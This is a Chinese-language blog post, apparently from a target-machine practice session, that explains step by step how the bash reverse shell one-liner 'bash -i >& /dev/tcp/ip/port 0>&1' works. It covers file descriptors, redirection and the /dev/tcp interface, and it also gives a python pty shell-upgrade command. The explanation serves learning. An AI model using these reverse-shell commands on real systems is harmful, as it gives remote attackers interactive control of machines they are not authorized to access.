bash反弹shell原理

背景

今天在做靶机的时候用冰蝎反弹shell,本地监听获得的shell如图:
bash反弹shell原理_第1张图片
有人称之为‘哑‘shell。短处有很多,比如很多命令执行没有回显。还好知道一条python命令获得标准shell:

python -c "import pty;pty.spawn('/bin/bash')";

不巧,执行多遍没有反应。因此想其他的办法,看到用这条命令反弹的shell命令提示的效果不错,之前也看到过别人用这条命令,但不很理解这条命令的含义,看了这篇文章,豁然开朗。下面记录一下。

0x01 > 和 >&的区别

当>后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

上面提到文章其实已经说的很清楚。这里要理解啥叫文件描述符。

文件描述符是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行I/O操作的系统调用都通过文件描述符;文件描述符是一个简单的非负整数,用以表明每个被进程打开的文件。程序刚刚启动时,第一个打开的文件是0,第二个是1,以此类推。也可以理解为文件的身份ID。

文件描述符 通道名 描述 默认连接 用途
0 stdin 标准输入 键盘 read only
1 stdout 标准输出 终端 write only
2 stderr 标准错误 终端 write only
3以上 filename 其他文件 none read and/or write

所以

cat xx 2>&1

表示我们cat xx这个不存在的文件,将系统的标准错误(2)重定向到标准输出(1)。

cat xx 2>1

表示将标准错误重定向到1这个文件。

0x02 /dev/tcp/ip/port

/dev/tcp/ip/port看着像一个系统文件,但在Linux系统中其实并不存在该文件,这里其实是bash实现网络请求的一个接口。调用的时候会发起一个socket请求。

0x03 bash -i >& /dev/tcp/ip/port

bash -i

产生一个交互shell。所以

bash -i >& /dev/tcp/ip/port

这一部分的意思是产生一个交互shell,重定向到远程ip:port。这里其实已经将标准错误标准输出重定向到远程。但还存在一个问题就是无法在远程输入命令。也就是就算我们在远程输入命令也无法执行。因为我们没有将标准输入也重定向到远程。

0x05 0>&1

0和1我们前面已经说过。0>&1它表明将标准输入重定向到标准输出。因为标准输出已经重定向到远端,所以标准输入也会重定向到远端。实现远程输入命令。

0x06 总结

所以

bash -i >& /dev/tcp/ip/port 0>&1

整句话表示将交互的bash(标准输出和错误)重定向到ip:port,并且将标准输入也重定向到远程。

此时数据的流向为:
bash反弹shell原理_第2张图片

参考

https://blog.csdn.net/u012206617/article/details/86174409
https://www.jianshu.com/p/80d6b5a61372
https://www.cnblogs.com/diantong/p/10413079.html

你可能感兴趣的:(Linux)